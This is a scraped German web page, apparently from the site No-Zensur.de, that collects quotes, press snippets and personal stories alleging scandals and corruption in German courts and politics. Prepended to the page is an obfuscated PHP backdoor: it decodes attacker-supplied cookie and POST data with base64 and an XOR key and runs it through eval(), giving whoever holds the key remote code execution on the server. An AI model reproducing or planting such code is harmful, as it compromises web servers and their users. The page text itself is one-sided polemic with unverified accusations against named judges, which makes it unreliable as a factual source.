$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> Justiz Skandale – No-Zensur.de Das freie Wort für eine freie Welt
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Justiz Skandale

Hier gibt es Informationen über die deutsche Rechtsbeugermafia in Justiz und Politik sowie Justiz Skandale

Justiz Skandale
Justiz Skandale auf No-zensur.de

Justiz Skandale  Internetseite wurde geschaffen, weil viele Juristen und auch Politiker behaupten, dass es in der Justiz gar keine Fehler geben würde und weil diese von vielen dergleichen und von Opportunisten am Unrecht ununterbrochen vollständig verleugnet werden, weil es gerade diejenigen sind, die von den justiziellen Missständen und Verbrechen am meisten profitieren oder am meisten profitieren wollen.
Auf Englisch heißt solch ein Verhalten: Rejection and Denial. – Zurückweisung und Abstreiten der Tatsachen.
Derartiges Verhalten gilt in der Psychologie als ein Anzeichen für besonders schwer heilbare psychische Erkrankungen. Die Wahrnehmung und Anerkennung von Fehlern und von Fehlverhalten als solches ist nämlich Voraussetzung und im Wesentlichen die einzige Möglichkeit, deren Behebung zu erreichen. …“

WILLKÜRJUSTIZ- JUSTIZTERROR- JUSTIZGEWALT
Diese 3 Webseiten sind sehr informativ !
http://justizalltag-justizskandale.info
http://www.justizgeschaedigte.de
http://www.rechtsbeugungen.org


Justizministerin Brigitte Zypries (SPD): „Justizskandale gibt es nicht in Deutschland“
Dr. Hans Liedel Hessisches Justizministerium: „Ich halte diese Anschuldigungen für albern. Unsere Richter sind unabhängig und an die Gesetze gebunden. Außerdem will ich erst einmal die vielen Fälle sehen, bei denen Fehlurteile ergangen sind.“
Günter Oettinger (CDU) und Ulrich Goll (FDP) : „In der Justiz gibt es keine Missstände“
Richter Dr. Jörg Eisberg AG-Minden: Unkorrektes und ungesetzliches Handeln bei den Staatsanwaltschaften gibt es nicht, weil diese zu korrektem Handeln verpflichtet sind.

Hier soll gezeigt werden, dass es doch eine riesige Menge übelster Mißstände in Justiz und Politik zu verbessern gibt.. >Ich habe unzählige Richterinnen und Richter, Staatsanwältinnen und Staatsanwälte erleben müssen, die man schlicht “kriminell” nennen kann. …Wenn ich an meinen Beruf zurückdenke (ich bin im Ruhestand), dann überkommt mich ein tiefer Ekel vor „meinesgleichen“ „.
Frank Fasel ehemaliger Richter am LG Stuttgart, Süddeutsche Zeitung, 9. April 2008

80 % meiner RichterkollegInnen sind selbst Kriminelle aufgrund Ihrer Rechtsprechung“.
AG Direktor Deichner a.D., Wiesbaden


Von deutschen 192 gecasteten Richtern sind 192 eine wirkliche Kathastrophe, es sind „grauenvolle, stupide, dumme, rechtshaberische eitle Männer“. WDR- „Kölner-Treff“, 27.08.2010

„Deutsche Juristen sind immer die Funktionäre des Staats gewesen und nicht die des Bürgers.“
Prof. Richter Vultejus


„Nach außen hin ergibt sich aus diesem „Schema X“ die nur scheinbare Erledigung einer Dienstaufsichtsbeschwerde, bei deren Anblick sich auftretende Würgereize nicht mehr verleugnen lassen“. Rechtsanwalt Andreas Fischer

„Jetzt kommt eine Infamie, die Übelkeit erregt:…“. Assessor Jur. Detmar Hoeffgen

„Der deutsche „Justizladen“ ist wenig vertrauenserweckend und jeder Bürger würde um ein Geschäft, das so schmuddelig und abstoßend wirkt wie manches deutsche Gericht,…“.  Dr. jur. Lamprecht

„Die deutsche Elendsjustiz nimmt immer schärfere Konturen an“.  Dr. Egon Schneider, Rechtsanwalt, ehem. Richter am OLG

„Saustall von Justiz, der mit eisernem Besen ausgekehrt werden müsse“. Anwalt in Deutsche Richterzeitung DRiZ 2007, 77

„Die deutsche Justiz ist korrumpiert bis ins Mark.“. Prof. em. Dr. Otmar Wassermann

„Der Mythos von der hohen Moral der Richter ist ein Märchen.“…Die Rechtsprechung ist schon seit langem konkursreif. Sie ist teuer, nicht kalkulierbar und zeitraubend. Der Lotteriecharakter der Rechtsprechung, das autoritäre Gehabe, die unverständliche Sprache und die Arroganz vieler Richterlinnen im Umgang mit dem rechtsuchenden Bürger schaffen Mißtrauen und Ablehnung. W. Neskovic – Richter am BGH

Das „Schmierentheater“ in Strafverfahren. Weider (StV 82,545,552)

„Die deutschen Strafgerichte sind so ungerecht, dass man die Urteile auch auswürfeln könnte.“ Rolf Bossi, Deutschlands bekanntester Strafverteidiger.

„Was die Justiz betrifft, so sind die Behauptungen von REIWALD auch keineswegs neu, schon WITTELS, Die Welt ohne Zuchthaus, Stuttgart 1928, redete vom Richter, ‚der seinen Sadismus in geordneten Bahnen auslebt‘, und STAUB/ALEXANDER, Der Verbrecher und seine Richter, Wien 1929 (Ndr. Unter dem Titel Psychoanalyse und Justiz, Frankfurt 1974 mit einer Einleitung von T. MOSER), unterstrichen die Funktion der Justiz, die delegierten privaten Rachegelüste im Staatsauftrag zu befriedigen.“
Dieter Simon in „Die Unabhängigkeit des Richters“, 1975, Seite 161f

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Der deutsche Rechtsstaat:

Der neuzeitliche Begriff des Rechtsstaates ist Ende des 18. Jahrhunderts aufgekommen. Er ist als „Kampfruf des freiheitlich Bürgertums gegen den obrigkeitlichen Fürstenstaat“ entstanden und wurde zunächst als Gegenbegriff zum absolutistischen Polizeitstaat begriffen. Die Grundidee lag darin, dass ein solcher Staat seine Aufgabe in der Sicherheit von Freiheit und Eigentum der Bürger findet, dass sein Ziel die Förderung des Wohls des Individuums ist und eben dieses seinen Charakter als „gemeines Wesen“ ausmacht (res publica). Dabei sollte eine gerechte Staatsordnung durch eine Verfassung, insbesondere durch die Anerkennung von Menschenrechten und Gewaltenteilung, durch allgemein gültige Gesetze, die in einem förmlichen Verfahren zustande gekommen sind, erreicht werden.
Davon kann in Deutschland kaum noch die Rede sein. Der deutsche Staat hat sich zu einem totalitären Juristen- und Lobyistenstaat und einem oligarchischen Richterstaat entwickelt. Das Wohl der Richter folgend von Juristen und folgend von Lobbyisten steht über jedem Gesetz, jedem Recht und jeder Gerechtigkeit.

Die Grundlage der Demokratie ist die Volkssouveränität und nicht die Herrschaftsgewalt eines obrigkeitlichen Staates. Nicht der Bürger steht im Gehorsamsverhältnis der Regierung, sondern die Regierung ist dem Bürger im Rahmen der Gesetze verantwortlich für ihr Handeln. Der Bürger hat das Recht und die Pflicht, die Regierung zur Ordnung zu rufen, wenn er glaubt, dass sie demokratische Rechte missachtet! Dr. Gustav Heinemann Bundespräsident 1969-74

„Den Grundrechten kommt insoweit eine Vergewisserungsfunktion zu, die geeignet ist, Untertanengeist und obrigkeisstaatliche Attitüde zu überwinden. Hierzu gehört, dass der Bürger sich auf seine Grundrechte beruft – auf sie pocht und nicht der einzelne hat darzulegen, dass er zum Handeln berechtigt (befugt, ermächtigt) ist; der Staat muss umgekehrt seine Maßnahmen am Maßstab der Grundrechte rechtfertigen.“ (Prof. Dr. Ipsen, Staatsrecht II, 10. Auflg., Rn. 61+65).

„Außer Frage steht, daß sich die Justiz der Kritik wegen ihrer Urteile stellen muß. Auch scharfer Protest und überzogene Kritik sind durch die grundgesetzlich geschützte Meinungsfreiheit gedeckt.“ (Präsident des Oberlandesgerichts a. D. Rudolf Wassermann, in: NJW 1998, 730, 731)

In § 34 der französischen Verfassung von 1793 steht: Um Unterdrückung der gesamten Gesellschaft handelt es sich, wenn auch nur ein einziges ihrer Mitglieder unterdrückt wird….

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Justiz: ( Zitate von Juristen über den Zustand der Justiz)

Vom Opfer zum Täter, Notwehr und Zivilcourage vor Gericht, ZDF Frontal21 24.08.2010
Immer wieder werden vor Gericht Opfer zu Tätern abgestempelt.
Zivilcourage zeigen, nicht wegschauen, wenn andere Menschen angegriffen werden, sich in der Not selbst verteidigen dürfen – einfacher gesagt als getan. Denn oft sieht sich derjenige, der Hilfe leisten wollte oder in Notwehr gehandelt hat, anschließend auf der Anklagebank.
Dabei ist die Rechtslage eindeutig: Selbst wenn jemand die Grenzen der Notwehr aus Verwirrung, Furcht oder Schrecken überschreitet, wird er nicht bestraft. Doch vor Gericht läuft das häufig anders. Im Nachhinein wird beurteilt, ob eine Situation noch Notwehr war oder nicht – und ganz plötzlich werden die Opfer zu Tätern abgestempelt.
… „Völlig realitätsfremd“. Seines Erachtens sei das Gericht bei der Beurteilung des Geschehens von praxisfernen Annahmen ausgegangen. „Dass man einen kampferprobten Schläger einfach von sich stößt und damit den Angriff beendet, das scheint völlig realitätsfremd.“ Zudem sei nicht nachvollziehbar, so der Strafrechtler von der Johannes Gutenberg-Universität, warum die Richter Sven G. nicht abnahmen, dass er sich in „großer Angst“ befunden habe. Denn das hätte juristisch ganz andere Konsequenzen bedeutet. „Selbst wenn eine Überschreitung der Notwehrbefugnisse vorliegt, kann man trotzdem Straffreiheit erlangen, wenn man aus großer Angst, Furcht oder Schrecken gehandelt hat“, so Erb.

Internet-Umfrage, Elitestudenten mit geklautem Wissen
Bei einer Internet-Umfrage an der Elite-Universität Cambridge kam Erstaunliches zutage: Rund die Hälfte der über Tausend Befragten gab zu, Arbeiten und geistiges Wissen aus dem Internet zu kopieren und als eigenes auszugeben. Bei den Jurastudenten war der Anteil der „Diebe geistigen Eigentums“ (original juristische Formulierung) sogar besonders hoch, nämlich 62 Prozent.

Waffe zur Polizei gebracht – Anzeige, 2009
Seit dem Frühjahr wird zur freiwilligen Abgabe von Schusswaffen aufgefordert. Selbst schuld, wer auf diesen Schildbürgerstreich hereinfällt. In den Polizeirevieren hagelt es Anzeigen. Nicht nur der Besitz, auch der „Transport“, zB. zum Polizeirevier, ist strafbar. Nennt sich dann „unerlaubtes Führen einer Waffe“.
Diese Erfahrung machte jetzt auch ein Familienvater aus Goslar. Im Nachlass seines kürzlich verstorbenen Vaters entdeckte er eine „Walther P8“ (Wehrmachtwaffe) und brachte diese unverzüglich zur Polizei. Und bekam ebenso unverzüglich eine Anzeige. Alleine im Kreis Goslar sollen 7 Ermittlungsverfahren in gleichartigen Fällen laufen.

Pflichtvergessene Richter und Anwälte, keine Rechte als Deutsche in Deutschland:
„Nachdem ich alle Abgeordneten des Schleswig-Holsteinischen Landtages in Kiel angeschrieben und um einen Untersuchungsausschuß gebeten hatte, in dem geklärt werden sollte, weshalb es in diesem Prozeß so viele pflichtvergessene Richter und Anwälte gibt, votierten die Abgeordneten in einer außerparlamentarischen Abstimmung für einen Untersuchungsausschuß. Dieser wurde vom Landtagspräsidenten Arens weggebügelt, weil er keinen Untersuchungsausschuß wollte. Warum wohl? Auf Nachfrage beschied mir Herr Brüggensiecker, Geschäftsführer des Petitionsausschusses, Kiel, ich hätte zu akzeptieren, – wörtlich – : „daß ich als Deutsche in Deutschland keine Rechte habe!“ Muß ich demnach erst eine andere Staatsbürgerschaft annehmen und nach Deutschland als Asylantin einreisen, um den Schutz des Rechtsstaates zu erhalten?“
Hannelore M. Röhl

Justizminister mit unkorrektem Ansatz als Richter am Europäischen Gerichtshof
In Brüssel traf … ein niederländischer Pfarrer ein, der als Zeuge gegen den ungarischen Pastor Andras P, der seine beiden Ehefrauen und vier seiner acht Kinder getötet haben soll, aussagen wollte. Der Pfarrer hatte in zwei Briefen an den damaligen belgischen Justizminister Melchior Wathelet seinen Verdacht gegen P. geäußert. Wathelet, der auch die frühzeitige Entlassung des verurteilten Kinderschänders Marc Dutroux seinerzeit unterschrieben hatte, hatte geantwortet, daß er in der Angelegenheit direkt nichts unternehmen könne. Der jetzige Justizminister Stefaan de Clerck nannte diese Antwort einen nicht korrekten Ansatz. Wathelet wurde vor kurzem trotz Kritik von vielen Seiten in seinem Amt als Richter am Europäischen Gerichtshof bestätigt.
Lübecker Nachrichten vom 25.10.1997

1996-1999 wurden 29.125 Menschen in Deutschland wegen ihrer politischen Meinung verfolgt
„Die Meinungsunterdrückung nimmt immer groteskere Formen und Dimensionen an: In den letzten vier Jahren (1996 – 1999) wurden 29.125 Menschen wegen ihrer politischen Meinung verfolgt. Damit dürfte Deutschland den Spitzenplatz in der Welt einnehmen. Politiker und Juristen aber beweihräuchern sich gegenseitig, dem ‚freiheitlichsten Rechtsstaat aller Zeiten‘ zu dienen. Sie sind die modernen Pharisäer und Schriftgelehrten, die Jesus als Schlangen und Otterngezücht, als Kinder des teufels bezeichnet hat.“
Manfred Roeder – Rundbrief Nr. 5 / 2000 / 4

Angeklagter ohne Verteidiger hat ein eigenes Recht auf Akteneinsicht, BVerfG entscheidet Menschenrechtswidrig
„Der Europäische Gerichtshof für Menschenrechte hat … deutlich gemacht, daß der Angeklagte ohne Verteidiger ein eigenes Recht auf Akteneinsicht bereits im Ermittlungsverfahren besitzt. Die gegenteilige Ansicht des Bundesverfassungsgerichts ist unvereinbar mit Art. 6 EMRK und nicht der einzige Fall, in welchem durch ein internationales Gericht derartige Rechtsprechung als Verletzung von Menschenrechten gebrandmarkt wurde (vgl. u.a. die Fälle Vogt, Schmidt, Niemitz und Bock).“
Klaus Dieter Deumeland in NStZ 1998, 429

Ermittlungsfehler der Staatsanwaltschaft Mannheim bei der Milliardenpleite der FlowTex-Gruppe
Im größten deutschen Betrugsfall, der Milliardenpleite der Ettlinger FlowTex-Gruppe, werfen Fahnder der Kripo Karlsruhe der Staatsanwaltschaft Mannheim erhebliche Ermittlungsfehler vor… Aus der Kripo heißt es, die Strafverfolger hätten die beiden Hauptbeschuldigten Manfred Schmider und Klaus Kleiser (Sollte es sich etwa um den Klaus Kleiser aus dem LIONS-Club Karlsruhe-Baden handeln? Dann wäre alles klar!)mehrfach gemeinsam verhört und ihnen damit Gelegenheit gegeben, sich ‚gegenseitig die Bälle zuzuspielen‘. Außerdem habe die Staatsanwaltschaft in ihrer Anklageschrift Vorwürfe unter den Tisch fallen lassen, die die Kripo nach eigener Ansicht hinreichend belegt hatte.
DER SPIEGEL 23 / 2001 / 19

Ohne kritische unbequeme Denker und ohne unabhängige Köpfe verkümmert eine Gesellschaft
… Doch die Wahrheit ist auch nicht automatisch bei der Mehrheit oder den jeweils Herrschenden. Deshalb will ich gerade beim heutigen Anlaß festhalten: Ohne kritischen Einspruch, ohne das Engagement unbequemer Denker verkümmert eine Gesellschaft. Wir brauchen Streit und Widerspruch, wir brauchen die Zumutungen und Fragen unabhängiger Köpfe. Man kann sogar sagen: Nie ist der sperrige Individualist wichtiger gewesen als heute…
Bundespräsident Roman Herzog am 13.12.1997 auf dem Festakt anläßlich des 200. Geburtstages von Heinrich Heine in der Deutschen Oper Düsseldorf

Die Bürger werden in keiner Weise gefragt, sie haben nur zu gehorchen, zu zahlen und die Folgen zu tragen.
Das Volk wird als zu dumm betrachtet, um über seine eigenen Angelegenheiten befinden zu können. Das Volk wird als einsichtslose Masse verachtet, der man ‚Brot und Spiele‘ zu bieten hat, die man aber nach Bedarf mit Hilfe willfähriger Massenmedien manipulieren kann. Dem Volk wird lediglich die Rolle des Stimmviehs zugestanden, das alle 4 Jahre zur sogenannten Wahl trotten darf, nachdem es durch den Wahlkampf der Etablierten mit entsprechender Gehirnwäsche dafür reif gemacht worden ist. Dann darf es von den Bundesparteien aufgestellte Bewerber, die es zumeist gar nicht persönlich kennt, ankreuzen und hat damit seine Pflicht und Schuldigkeit getan. Es kann sodann seine Stimme im wahrsten Sinne des Wortes ‚abgeben‘, denn es hat jetzt 4 Jahre nichts mehr zu sagen. Die Bürger haben dem Angekreuzten eine Blankovollmacht erteilt, mit der er machen kann, was er will. Daß die Gewählten hemmungslos davon Gebrauch machen, hat die Vergangenheit zur Genüge bewiesen.
Oberstaatsanwalt Dr. Helmut Kalkbrenner, München

Wenn Computer die richterliche Unabhängigkeit gefährden, ct magazin 14/2010, Seite 152
Gerichte, Ermittlungs- und andere Behörden stehen nicht gerade in dem Ruf, ungewöhnlich begeistert auf die Einführung moderner Technik zu reagieren. Dass es jedoch für Richter prinzipielle Gründe geben könnte, die Arbeit mit Computern abzulehnen, klingt fast nach einem juristischen Schildbürgerstreich.
…Mit dem Justizkommunikationsgesetz (JKomG) schuf der Gesetzgeber 2005 die Voraussetzungen dafür, Verfahrensabläufe bei Gerichten ua. den heutigen technischen Möglichkeiten anzupassen. Zum 01.01.2007 trat dann das „Gesetz über elektronische Handelsregister und Genossenschaftsregister sowei das Unternehmensregister“ (EHUG) in Kraft.
Kurz bevor das EHUG in Kraft trat, richtete ein Bochumer Amtsrichter ein Ersuchen an seinen Dienstvorgesetzten, den Direktor des Amtsgerichts. Der Richter, der für die Pflege des Handelsregisters zuständige war, wollte die Geschäftsstellen- und Servicekräfte des Handelsregisters anweisen lassen, ihm die in Zukunfft elektronisch eingehenden Registeranträge auch weiterhin in Papierform vorzulegen, also die betreffenden Dateien für ihn auszudrucken. Grund dafür: Er sei es gewohnt, Registersachen daheim und ohne PC zu bearbeiten. Der Amtsgerichtsdirektor lehnte das Ansinnen ab.
…Das Dienstgericht folgte der Argumentation des Richters und entschied zu seinen Gunsten. Die „subjektive Einschätzung des Antragstellers“, dass er zur ordnungsgemäßen Bearbeitung der auf elektronischen Wege eingehenden Dokumente einen Ausdruck auf Papier benötige, sei „einer Überpüfung durch die Dienstaufsicht grundsätzlich nicht zugänglich…“. Sofern der Richter also meine, er könne seine richterliche Tätigkeit mit den ihm zur Verfügung gestellten Arbeitsmitteln nicht ausführen und sei auf Papierausdrucke angewiesen, habe der Dienstherr ihm diese zu verschaffen – um die richterlich Unabhängigkeit zu gewährleisten. Dabei spiele es keine Rolle, dass der Richter sich bestimmte Dateien bei Bedarf selbst ausdrucken könnte…
Um zu vermeiden, dass der Fall Schule macht legte das Land NRW gegen das Urteil des Düsseldorfer Dienstgerichts Berufung beim OLG Hamm ein. Mit Beschluß vom 20.10.2009 wies der dort angesiedelte Dienstgerichtshof diese jedoch zurück – er hilt sie „einstimmig für unbegründet und eine mündliche Verhandlung nicht für erforderlich“. Das letzte Wort wird nun der BGH sprechen.

Präsident des Menschenrechtsgerichts mahnt Deutschland, keine dauerhafte Beseitigung von immer wieder gleichen Menschenrechtsverletzungen, 08.12.2006
Der Präsident des Europäischen Gerichtshofs für Menschenrechte (EMRG), Luzius Wildhaber, hat Deutschland zur Umsetzung der Straßburger Urteile ermahnt: Deutschland solle sich „näher mit dem System der Menschenrechtskonvention befassen“, sagte Wildhaber im Gespräch mit der Nachrichtenagentur AFP. Es gebe offensichtlich „einige Wissenslücken“, auch bei deutschen Richtern, betonte der 69-jährige Schweizer, der den Straßburger Gerichtshof im Januar aus Altersgründen verlassen wird.
Kurz vor dem internationalen Tag der Menschenrechte am Sonntag appellierte Wildhaber an die 46 Europaratsländer, den mit derzeit 90.000 anhängigen Fällen völlig überlasteten Richtern zur Hilfe zu kommen. Sie müssten dem Menschenrechtsgerichtshof entweder mehr Mittel zur Verfügung stellen oder dafür sorgen, dass in Straßburg weniger Beschwerden ankommen. Dazu müssten die Staaten selbst wirksamer gegen Menschenrechtsverletzungen ankämpfen und vom Gerichtshof einmal gerügte Missstände dauerhaft beseitigen. „Das wäre der beste Weg.“ Kurz vor dem internationalen Tag der Menschenrechte am Sonntag appellierte Wildhaber an die 46 Europaratsländer, den mit derzeit 90.000 anhängigen Fällen völlig überlasteten Richtern zur Hilfe zu kommen. Sie müssten dem Menschenrechtsgerichtshof entweder mehr Mittel zur Verfügung stellen oder dafür sorgen, dass in Straßburg weniger Beschwerden ankommen. Dazu müssten die Staaten selbst wirksamer gegen Menschenrechtsverletzungen ankämpfen und vom Gerichtshof einmal gerügte Missstände dauerhaft beseitigen. „Das wäre der beste Weg.“

Abrechnung – Die Unmoral Justizias

Aufruf zur friedlichen Demonstration gegen Scheinurteile vor den Gerichten der Landeshauptstadt Kiel – Am 26.Mai 2010 – 9.00 – 13.00 Uhr
es ist soweit. Das Ordnungsamt Kiel hat die angemeldete Demonstration unter Auflagen bestätigt.
Die Demonstration muss auf jeden Fall friedlich abgehalten werden ! Ich bitte dies unbedingt zu beachten, da ich nicht möchte, dass die Demo wegen unfriedlicher Verhaltensweisen polizeilich abgebrochen wird.
Schließlich wollen wir durch Demonstration auch informieren, was nicht bedeuten soll, dass wir vor Ort deutlich unsere Meinung sagen.
Transparente, Schilder,beschriftete Bettlaken o.ä. sollen vor den Gerichten in der Deliusstrasse 22 ausgebreitet werden.
Trillerpfeifen, Rasseln, Megaphon und weitere Utensilien wären gut.
In diesem Sinne freue ich mich auf diese Veranstaltung, die in weiteren Hauptstädten gerne fortgeführt werden kann.

Politisches Asyl in den USA wegen Diskriminierung durch Deutschland, 02.03.2010
Es besteht Aussicht auf Erfolg, über eine Petition wegen Diskriminierung durch die deutsche Regierung politisches Asyl in den USA zu beantragen.
Das amerikanische Gericht befand, dass Frau Mashkiri entweder durch die (deutsche) Regierung oder durch Kräfte, die die Regierung entweder nicht kontrollieren konnte oder wollte, verfolgt wurde.

Child Welfare Agency Echoes Nazi Germany?, CBN.com News 18.03.2010
BERLIN – It sounds like Nazi Germany: families afraid of a loud knock on their door in the early morning, police bursting in, and taking away their children.
But it’s not Nazi Germany. It’s today’s Germany.
In Berlin, when authorities came for 7-year-old Dan Schulz, his family secretly videotaped the abduction. On the tape, family members are crying and the boy can be heard screaming, „Mom I don’t want to go!“
A German official responds, „Your mother can’t help you here.“
The boy was taken by Germany’s notorious child welfare agency, the Jugendamt. The official reason young Dan was taken was that he wasn’t in school, even though he had been homeschooled and then began private school.

Deutsches Paar erhält Asyl in USA, 27.01.2010

In den USA hat (schon wieder) ein deutsches Ehepaar mit seinen fünf Kindern Asyl wegen politischer Verfolgung in Deutschland erhalten. Das Paar hatte angegeben in Deutschland wegen seines christlichen Glaubens verfolgt zu werden, und hatte damit Erfolg bei einem Einwanderungsrichter in Memphis. Das Ehepaar war wegen der deutschen Schulpflicht mit seinen Kindern bereits 2008 nach Tennesee geflohen.
Dies ist nicht der erste erfolgreiche Asylantrag von Deutschen in der USA, und auch in anderen Ländern (Niederlande, Frankreich etc.) sind entsprechende Asylanträge, auch erfolgreiche, bekannt.Vor einigen Jahren hatte ich Dr. Haferbeck in meinem Auftrag den Bundestag um Auskunft gebeten. Die Frage war damals, ob bekannt ist, ob Bürger aus Deutschland in den Niederlanden Asylanträge gestellt haben.
Damals wurde mitgeteilt, dass alleine in den Niederlanden in den Jahren 2000 bis 2002 insgesamt zehn Bürger aus Deutschland in den Niederlanden einen Asylantrag gestellt hatten

Beschwerden über die Richterinnen Anne Flintrop und Hubert Just werden typisch abgewehrt
Gegen ein skandalöses Unrechtsurteil der Richterin Anne Flintrop wird protestiert und dabei deutlich betont, dass das VERHALTEN der Richterin Anne Flintrop Gegenstand der Beschwerde sei. Nichts hat es genützt. Der Dienstvorgesetzte Hubert Just hält diese Beschwerde für „unbegründet“. Diese Beurteilung ist willkürlich und unzumutbar. Sie verdeutlicht, wie die Richter einander in Schutz nehmen, wie wirkungslos Dienstaufsichtsbeschwerden sind und wie zynisch dem Beschwerdeführer geantwortet wird.

Richter klagt gegen sein eigenes Gericht, nichts zu tun für 8500 EUR monatlich, 28.04.2009
Mit einer Klage gegen sein eigenes Gericht ist ein Bundesrichter im deutschen Kassel gescheitert.
Das BSG hatte seinen Geschäftsverteilungsplan zum 1. April 2008 so geändert, dass Meyer und sein 4. Senat nicht mehr für Rentenversicherungsfragen zuständig waren. Dies hatte laut Meyer zur Folge, dass er und seine Senatskollegen von April bis einschliesslich Juli 2008 faktisch nichts mehr zu tun hatten – und das bei einem Gehalt von 8500 Euro monatlich. Mit der Klage wollte Meyer erreichen, dass eine Wiederholung solch einer Praxis verhindert wird.
«Der Akt war in hohem Masse diskriminierend», sagte Meyer. Die Änderung des Geschäftsverteilungsplanes sei offenbar als Disziplinierungsinstrument gegen ihn verwendet worden. «Das ist schlicht und einfach eine ‹zur Ruhesetzung› auf Zeit», sagte der Bundesrichter.
Nach Auffassung des BSG-Richters habe die geänderte Aufgabenverteilung politische Gründe gehabt. Denn sein Senat habe in der Vergangenheit Entscheidungen zu den Ostrenten und den Abschlägen für Erwerbsminderungsrentner gefällt, die den Rentenversicherungsträgern Milliarden Euro gekostet haben.
«Ich habe seit 2001 mehrere Hinweise bekommen, dass der 4. Senat nicht mehr für das Aufgabengebiet der Rentenversicherung zuständig sein soll», sagte Meyer. Der damalige Präsident des Bundessozialgerichts, Matthias von Wulffen, habe dies aber mit den Worten abgelehnt: «Solange ich Präsident bin, wird das nicht geschehen». Mittlerweile ist von Wulffen pensioniert.

Grundstücksraub zur politischen Begünstigung des Nachbarn
Kernpunkt des Skandals ist eine einfache Verwaltungssache, die bei objektiver Behandlung überhaupt kein „Rechtsfall“ hätte werden dürfen, nämlich: die Abmarkung einer Grenze meines Hausgrundstücks, d.h. deren Sichtbarmachung durch Setzen von Grenzzeichen.
Obwohl ich – wie jeder andere Grundstückseigentümer auch – einen Anspruch auf Kenntlichmachung meines Eigentums habe, wird mir diese seit nunmehr 25 Jahren sowohl von der entsprechenden Fachbehörde (Katasterbehörde) als auch von den Gerichten (Verwaltungsgerichte) vorsätzlich verweigert. Dies in der Absicht, einen behördlich sanktionierten Grundstücksraub zugunsten politisch begünstigter Nachbarn zu vertuschen.
Würde die Abmarkung nämlich durchgeführt werden, so würde offen zutage treten, dass von örtlichem Bauamt und örtlichem Katasteramt willkürlich ein nicht unbeträchtlicher Teil meines Grundstücks den Nachbarn zugeschlagen wurde. Dies unter anderem, um Fläche für deren, zunächst 1984 und in der Folge dann 1994 durchgeführte Bauvorhaben zu beschaffen.
Um jenes strafbare Handeln zu verschleiern und sich hieraus ergebende Amtshaftungsansprüche zu verhindern, wird seit Jahren bzw. zwischenzeitlich: mehr als zwei Jahrzehnten, von den darin verstrickten Personen aus Verwaltung und Justiz fortgesetzt Straftat auf Straftat gehäuft.
Diesbezüglich unter anderem zu nennen sind:
Urkundenunterdrückung; Urkundenfälschung; Falschbeurkundung; Grundstücksraub zugunsten privater Dritter; Rechtsprechungsverweigerung; Verfolgung Unschuldiger mit Hilfe rechtswidriger Haftbefehle; Inszenierung rechtswidriger Strafverfahren; Konstruktion von Verwaltungsgerichtsverfahren, ohne Vorliegen von Klagen; Strafvereitelung;Begünstigung im Amt.
Dass für Verwaltung und Justiz im Laufe der Zeit dabei immer mehr der Selbstschutz in den Vordergrund gerückt ist, wird im Verlauf der nachfolgenden Erläuterungen noch deutlich.

Wie weit Juristen gehen, um Schadensersatzansprüche abzuwehren und das übliche vorgehen, dass Opfer zum Täter zu machen (Az.: 2 Ns 106 Js 7394/04)
Derselbe Bauantrag für verschiedene Standorte eines landwirtschaftlichen Unternehmers, wird abgelehnt. Den letzten Bauantrag bearbeitet das Landratsamt Coburg über drei Jahre überhaupt nicht, obwohl Klage erhoben wurde. Das Bayerische Verwaltungsgericht muss denn auch feststellen, dass der Kläger rechtswidrig in seinen Rechten verletzt worden ist. (BGB § 823 Schadensersatzpflicht (1) Wer …fahrlässig…das Recht eines anderen widerrechtlich verletzt, ist dem anderen zum Ersatz des daraus entstehenden Schadens verpflichtet.)
Die an dem Schaden (rund 1.200.000,- €!) beteiligte Regierungsjuristin des Landratsamtes zeigt den Geschädigten wegen Betrugs an. Vorwand ist ein notarieller Grundstücksvertrag, den die Juristin als Angehörige des Landratsamtes vorgelegt bekommt (in dem Vertrag wird ein Grundstück, voll erschlossen, zwischen drei Wohnhäusern gelegen, zum Selbstkostenpreis [15.000,- €] überlassen). Obwohl in den Akten des Landratsamtes das Gegenteil der Behauptungen der Regierungsjuristin bewiesen ist, wird der Geschädigte als Betrüger verurteilt. Dazu wird das Protokoll gefälscht.
Alle juristischen Bemühungen um eine sachliche Aufarbeitung des Falles scheitern. Warum?
In der erstinstanzlichen Amtsgerichtverhandlung wurde zur Beweissicherung eine Tonbandaufnahme gemacht. Durch die vergeblichen Anträge das Protokoll zu berichtigen, wusste das Landgericht davon und versuchte eine weitere Tonaufzeichnung zu verhindern. Die Öffentlichkeit wurde einer Leibesvisitation unterzogen, die Taschen durchsucht und die Handys eingesammelt.
